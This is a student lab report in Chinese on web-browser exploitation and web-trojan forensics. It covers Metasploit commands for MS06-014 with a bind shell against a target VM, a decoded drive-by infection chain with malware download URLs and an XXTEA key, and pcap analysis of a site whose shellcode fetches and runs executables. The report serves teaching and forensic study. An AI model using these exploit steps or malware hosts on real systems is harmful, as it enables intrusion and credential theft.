1. 程式人生 > 其它 >20212931 2021-2022-2 《網路攻防實踐》第十一次實踐報告

20212931 2021-2022-2 《網路攻防實踐》第十一次實踐報告

一、實踐內容

(一)基礎知識

1.Web瀏覽器的技術發展與安全威脅

  • Web瀏覽器定義:網頁瀏覽器(英語:web browser),常被簡稱為瀏覽器,是一種用於檢索並展示全球資訊網資訊資源的應用程式。這些資訊資源可為網頁、圖片、影音或其他內容,它們由統一資源標誌符標誌。資訊資源中的超連結可使使用者方便地瀏覽相關資訊。
  • 現代瀏覽器的技術結構
    • 使用者介面(User Interface):使用者介面主要包括工具欄、位址列、前進/後退按鈕、書籤選單、視覺化頁面載入進度、智慧下載處理、首選項、列印等。除了瀏覽器主視窗顯示請求的頁面之外,其他顯示的部分都屬於使用者介面。使用者介面還可以與桌面環境整合,以提供瀏覽器會話管理或與其他桌面應用程式的通訊。
    • 瀏覽器引擎(Browser Engine):瀏覽器引擎是一個可嵌入的元件,其為渲染引擎提供高階介面。瀏覽器引擎可以載入一個給定的URI,並支援諸如:前進/後退/重新載入等瀏覽操作。瀏覽器引擎提供檢視瀏覽會話的各個方面的掛鉤,例如:當前頁面載入進度、JavaScript alert。瀏覽器引擎還允許查詢/修改渲染引擎設定。
    • 渲染引擎(Rendering Engine):渲染引擎為指定的URI生成視覺化的表示。渲染引擎能夠顯示HTML和XML文件,可選擇CSS樣式,以及嵌入式內容(如圖片)。渲染引擎能夠準確計算頁面佈局,可使用“迴流”演算法逐步調整頁面元素的位置。渲染引擎內部包含HTML解析器。
    • 網路(Networking):網路系統實現HTTP和FTP等檔案傳輸協議。 網路系統可以在不同的字符集之間進行轉換,為檔案解析MIME媒體型別。 網路系統可以實現最近檢索資源的快取功能。
    • JavaScript直譯器(JavaScript Interpreter):JavaScript直譯器能夠解釋並執行嵌入在網頁中的JavaScript(又稱ECMAScript)程式碼。 為了安全起見,瀏覽器引擎或渲染引擎可能會禁用某些JavaScript功能,如彈出視窗的開啟。
    • XML解析器(XML Parser):XML解析器可以將XML文件解析成文件物件模型(Document Object Model,DOM)樹。 XML解析器是瀏覽器架構中複用最多的子系統之一,幾乎所有的瀏覽器實現都利用現有的XML解析器,而不是從頭開始建立自己的XML解析器。
    • 顯示後端(Display Backend):顯示後端提供繪圖和視窗原語,包括:使用者介面控制元件集合、字型集合。
    • 資料持久層(Data Persistence):資料持久層將與瀏覽會話相關聯的各種資料儲存在硬碟上。 這些資料可能是諸如:書籤、工具欄設定等這樣的高階資料,也可能是諸如:Cookie,安全證書、快取等這樣的低階資料。
  • 現代瀏覽器的安全問題
    • 複雜性:現代瀏覽器需要支援各種協議、以及各種頁面標準等,現在已經非常複雜。
    • 可擴充套件性:為了拓展需求,各個瀏覽器都基本支援外掛安裝。
    • 連通性:browsing anything at anytime in anywhere。
  • 瀏覽器安全威脅針對位置
    • 針對網路的網路協議的安全威脅。
    • 針對Web瀏覽器系統平臺的安全威脅。
    • 針對Web瀏覽器外掛、整合的應用程式的安全威脅。
    • 針對網際網路使用者的社會工程學攻擊。
  • Web瀏覽安全威脅型別
    • 網路釣魚(Phishing)
    • 惡意木馬與流氓軟體下載
    • 網頁木馬-瀏覽器滲透攻擊
    • 不良資訊內容

2.網頁木馬-瀏覽器滲透攻擊

  • 網頁木馬定義:(Web Infection/Drive-by-downloads)網頁木馬就是表面上偽裝成普通的網頁檔案或是將惡意的程式碼直接插入到正常的網頁檔案中,當有人訪問時,網頁木馬就會利用對方系統或者瀏覽器的漏洞自動將配置好的木馬的服務端下載到訪問者的電腦上來自動執行。
  • 網頁掛馬機制
    • 內嵌HTML標籤:最為簡單和常見的流量重定向機制:iframe嵌入外部頁面連結。
    • 惡意script指令碼:利用script標籤通過跨站指令碼包含網頁木馬。
    • 內嵌物件:用第三方應用軟體或瀏覽器幫助物件(BHO)的內嵌物件。
    • ARP欺騙掛馬:在同一網段內進行中間人攻擊。
  • 網頁木馬感染鏈
    • 網頁木馬通常不會直接存在於被掛馬頁面中。
    • 通過多層巢狀的內嵌連結、跨站指令碼等方式構建網馬感染鏈。
  • 網頁木馬的檢測與分析技術
    • 基於特徵碼匹配的傳統檢測方法,提取樣本特異性。
    • 基於統計與機器學習的靜態分析方法,基於語義特徵的方式。
    • 基於動態行為結果判定的檢測分析方法,採用蜜罐的形式。
    • 基於模擬瀏覽器環境的動態分析檢測方法,基於模擬瀏覽器來分析網頁木馬。
  • 網站掛馬威脅防範措施
    • 系統軟體、應用軟體補丁自動更新。
    • 反病毒軟體的使用。
    • 安全上網、Google安全建議。

3.網路釣魚

  • 網路釣魚定義
    • 目標:獲取個人敏感資訊如使用者名稱、口令、帳號ID、網銀、ATM PIN碼或信用卡資訊等。
    • 手段:

    架設釣魚網站如知名金融機構及商務網站。
    傳送大量欺騙性垃圾郵件。
    誘騙因特網使用者訪問釣魚網站並以敏感資訊登入。
    濫用個人敏感資訊如資金轉賬、冒用身份等。

  • 釣魚攻擊策略
    • 架設釣魚網站

    大規模掃描有漏洞的主機並攻陷主機,使用批掃描工具,自動攻擊工具。
    架設釣魚網站

    前臺假冒網站:知名的金融機構、線上電子商務網站。
    後臺指令碼:收集、驗證使用者輸入,並通過某種渠道轉發給釣魚者。

    • 欺騙技術

    欺騙使用者訪問釣魚網站

    DNS中毒攻擊。
    網路流量重定向。
    社會工程學-欺騙性垃圾郵件。
    欺騙性垃圾郵件
    傳送途徑-難以追蹤。
    傳送源-冒充知名權威機構。
    傳送內容-安全理由、緊急事件,欺騙使用者訪問釣魚網站,給出敏感個人資訊。

    • 欺騙的技巧

    使用IP地址代替域名。
    註冊發音相近或形似DNS域名。
    多數真實的連結中混雜關鍵的指向假冒釣魚網站的連結。
    對連結URL進行編碼和混淆。
    攻擊瀏覽器,隱藏訊息內容的本質。
    假冒釣魚網站的透明性。
    惡意軟體安裝瀏覽器助手工具。
    修改本地DNS域名和IP地址對映hosts檔案。

    • 網站釣魚防範措施

    瞭解網站釣魚安全威脅與技巧。
    增強安全意識,提高警惕性。
    使用安全軟體。

(二)實踐要求

  • 1.web瀏覽器滲透攻擊
    • 使用攻擊機和Windows靶機進行瀏覽器滲透攻擊實驗,體驗網頁木馬構造及實施瀏覽器攻擊的實際過程。
  • 2.取證分析實踐—網頁木馬攻擊場景分析
    • 訪問掛馬網頁,解密並分析其所有檔案。
  • 3.攻防對抗實踐—web瀏覽器滲透攻擊攻防
    • 攻擊方使用Metasploit構造出至少兩個不同Web瀏覽端軟體安全漏洞的滲透攻擊程式碼,並進行混淆處理之後組裝成一個URL,通過具有欺騙性的電子郵件傳送給防守方。
    • 防守方對電子郵件中的掛馬連結進行提取、解混淆分析、嘗試恢復出滲透程式碼的原始形態,並分析這些滲透程式碼都是攻擊哪些Web瀏覽端軟體的哪些安全漏洞。

二、實踐過程

(一)web瀏覽器滲透攻擊

  • 1.開啟Metasploit;輸入search MS06-014,搜尋MS06-014滲透攻擊模組,發現只有一個可用的攻擊模組;輸入use 0,使用該模組進行攻擊
  • 2.輸入set LHOST 192.168.60.3設定攻擊機地址;查詢載荷;輸入set payload windows/shell/bind_tcp設定載荷;輸入exploit進行攻擊
  • 3.攻擊後得到有木馬的網址Local IP,在靶機中訪問地址,回到攻擊機中顯示建立會話
  • 4.驗證會話是否有效,用sessions檢視連線。使用指令sessions -i 2開啟會話2,此時攻擊機即可在靶機上執行命令,用ifconfig命令可以檢視靶機地址

(二)取證分析實踐—網頁木馬攻擊場景分析

  • 1.因為原網頁已經失效,只能自己根據文件裡的程式碼提示自己製造網頁,分析入口。對start.html,發現在該網頁嵌入了一個內聯框架,它指向網頁new09.htm,且其高度寬度均為0,有利於隱蔽。
  • 2.檢視new09.htm的程式碼,發現其指向了兩個URL。
  • 3.求這兩個URL的雜湊值。後續會經常用到雜湊值,別關閉。
  • 4.根據MD5雜湊值在hashed資料夾(十分感謝同學提供的檔案壓縮包)中找到這兩個檔案,開啟檢視。
    • 其中一個直接提示不是。
    • 另外一個很複雜,應該是目標了。
  • 5.由倒數第三行t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));我們知道這個檔案使用了一種被稱為XXTEA+Base64的加密方法,對付這種加密方法,我們只要找到它的加密金鑰即可,這是一種16進位制加密,用16進位制轉字串轉換器解碼,祕鑰金鑰 script。
  • 6.由上可以看到利用到的應用程式漏洞有:
    • Adodb.Stream——微軟資料庫訪問物件漏洞;
    • MPS.StormPlayer——暴風影音漏洞;
    • POWERPLAYER.PowerPlayerCtrl.1——PPStream漏洞;
    • BaiduBar.Tool——百度搜霸漏洞
  • 7.除此之外,檔案引用了三個三個js檔案和一個壓縮包(bd.cab,解開後是bd.exe),對他們作MD5雜湊:
MD5(http://aa.18dd.net/aa/1.js,32) = 5d7e9058a857aa2abee820d5473c5fa4
MD5(http://aa.18dd.net/aa/b.js,32) = 3870c28cc279d457746b3796a262f166
MD5(http://aa.18dd.net/aa/pps.js,32) = 5f0b8bf0385314dbe0e5ec95e6abedc2
MD5(http://down.18dd.net/bb/bd.cab,32) = 1c1d7b3539a617517c49eee4120783b2
  • 8.根據雜湊值去資料夾內找到對應的檔案,或者直接去原始檔案檢視也可:
    • 1.js
      • 十六進位制的加密,很麻煩,只能再轉換
      • 根據程式碼可以看到下載了014.exe,是一個下載器,014.exe估計是重頭戲
      • 因為資料夾裡沒有014,所以014.exe用hash值對應的無後綴檔案
    • b.js
      • 根據開始函式提示知道了他的加密方法,對他解密(直接用了文件的結果)
      • shellcode的出現格外亮眼,但因為程式碼長度有限,可能是類似於1.js的下載器,那就可以試著找找URL。URL的特徵是/分隔符,十六進位制為2f,篩選一下,對相鄰的2f的內容解密一下,第三個2f暴露了,從這裡到末尾的內容/down.18dd.net/bb/bf.exe,往前幾位是http:/
    • pps.js
    • 壓縮檔案bd
      • 解壓就是bd.exe,夠直白
  • 9.這裡因為xp沒有相應的分析工具,我把4個exe壓縮了,轉到kali上,發現了個好玩的現象,一樣大小,這很反常。
    • 做了一下他們的MD5,嘖,完全一樣,行吧,四合一。
  • 10.對pps.exe先查詢一下,大概率加殼了。
    • 查殼沒問題,但脫殼有問題,一脫殼便自動銷燬,好手段。
  • 11.拿IDA開啟pps.exe
    • 因為是free版本,沒能反彙編,但結構表有,所以沒有明確名稱的函式一般都容易有問題,從下往上翻找,果然。
    • 猜測:
    • 首先這個軟體會下載木馬檔案。
    • 這個程式可能在磁碟根目錄下生成自動執行的檔案(":\AutoRun.inf","[AutoRun] open=","AutoRun.inf","shell\Auto\command=")
    • 這個程式要對 IE、登錄檔、服務和系統檔案進行操作("advapi32.dll",,"drivers/klif.sys","\program files\internet explorer\IEXPLORE.EXE","IE 執行保護","IEXPLORE.EXE","Software\Microsoft\Windows\CurrentVersion\Poli"),"Kernel32.dll","SOFTWARE\Borland\Delphi\RTL","ChangeServiceConfig2A" , "ChangeServiceConfig2W","QueryServiceConfig2A","QueryServiceConfig2W")
    • 這個程式有一定的防系統保護軟體的能力( "允許","允許執行")
    • 根據猜測,查詢一下.exe
    • 皆為一些系列的盜號木馬。利用系統漏洞,繞過防禦機制,對多個賬號進行檢測,盜取使用者的賬號。

(三)Web瀏覽器滲透攻擊對抗實驗

  • 1.攻擊和實踐一類似,不再重複贅述,結果會在下圖中和網址原始碼一起展示。
  • 2.將連結地址複製貼上到kali虛擬機器中的搜狐瀏覽器中,搜尋網址並右鍵網頁檢視原始碼,可以看到關鍵指令做了字串拼接處理和大量的空白間隔。
  • 3.用線上工具壓縮處理一下,獲得程式碼。
  • 4.程式碼中document.location 載入了 payload,並且下一行中後面跟了一個可執行檔案,而在靶機中的任務管理中剛好可以找到對應的,所以可以肯定這就是攻擊程式碼和攻擊的程式。
  • 5.但仍然有一個疑問,就是下面很長的一串數字,查詢便可以獲知,這是漏洞MS06-014中的clsid變數。

(四)Web瀏覽器遭遇攻擊、取證分析

  • 1.首先把工具準備好,需要用到chaosreader(協議分析軟體)sudo apt-get install chaosreader
  • 2.使用命令chaosreader -r suspicious-time.pcap開啟 suspicious-time.pcap 檔案,發現攻擊主要集中在HTTP協議上
  • 3.通過指令查詢有哪些IP地址和域名在進行攻擊
    • 服務:10.0.2.2, 10.0.3.2, 10.0.4.2, 10.0.5.2 (DHCP 服務和閘道器),192.168.1.1 (DNS 服務)。
    • 受害者:10.0.2.15, 10.0.3.15, 10.0.4.15,10.0.5.15 。
    • 模擬被侵入主機:192.168.56.50 ( “rapidshare.com.eyu32.ru”)、192.168.56.51 (“shop.honeynet.sg”)。
    • 攻擊者:192.168.56.52 ( “sploitme.com.cn”)。
for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort 
  • 4.輸入命令tshark -r suspicious-time.pcap | grep 'NB.*20\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$10}' | sort -u篩選出NBNS協議,NBNS協議的作用是提供主機名和地址對映方法,即提供主機名稱.可以發現這四個不同 ip 地址的主機分別對映的主機名是相同的
  • 5.再用wireshark開啟 suspicious-time.pcap ,通過arp篩選發現,四個ip地址所對應的mac地址相同,推測這四臺主機相同的或者克隆的,是虛擬機器
  • 6.在生成的檔案中開啟session_0006.part_01.html,可以看出這應該是一個釣魚網站,其對應的rapidshare.com.eyu32.ru/login.php
  • 7.開啟session_0007.part_02.html,其對應的sploitme.com.cn ,發現 404 NotFound
    • 這裡很反常,所以查看了一下原始碼
    • 發現其將惡意頁面偽裝成404頁面,這就解釋的通了。
  • 8.開啟session_0032.part_01.html,其對應的shop.honeynet.sg/catalog/
  • 9.攻擊者的操作這時就可以知道了
    • 攻擊者將惡意javascript程式碼注入指向sploitme.com.cn/?click=X的隱藏iframe。
    • 當訪問者檢視這些頁面時,它們首先被重定向到sploitme.com.cn/fg/show.php?s=X,該頁面通過302 FOUND標頭重定向到偽造的404頁面
    • 然後在該頁面中,檢查使用者代理字串,著陸點和其他引數,並(show.php)發出另一個javascript程式碼,該程式碼嘗試各種攻擊以在受害者的計算機中執行程式碼。
    • 如果任何漏洞利用成功,則客戶端的計算機將下載並執行位於sploitme.com.cn/fg/load.php?e=X的檔案。 在案例中,惡意軟體訪問www.honeynet.org。
  • 10.繼續檢視資料流,跟蹤TCP,發現主要攻擊目標是windows作業系統和IE瀏覽器漏洞
  • 11.同時Shellcode獲取了系統臨時檔案路徑,載入urlmon.dll,從URL http://sploitme.com.cn/fg/load.php?e=1檢索可執行檔案,然後執行它。Shellcode 之間的唯一區別是對 load.php 指令碼的請求中的e變數,該變數指定傳送惡意軟體可執行檔案。
  • 12.此外,攻擊使客戶端從惡意軟體分發網路伺服器下載可執行檔案並在本地執行,目的是在受害者主機上通過 Internet Explorer 載入www.honeynet.org。

三、學習中遇到的問題及解決

    1. 實踐一中的木馬程式總是無法被成功下載建立連線。
  • 解決方案:更換載荷,set payload windows/shell/bind_tcp

四、實驗總結

本次實驗難度很大,涉及的知識面可以說有了指數級的飛躍,但能明顯感受到所用的思路的知識和之前的實驗的連線,也有了更為明確和立體的分析的思路,只可惜,所涉及的知識只能說是邊做邊找,用到啥看看啥,這可能會成為自己之後的漏洞,只能說盡快修復O(∩_∩)O哈哈~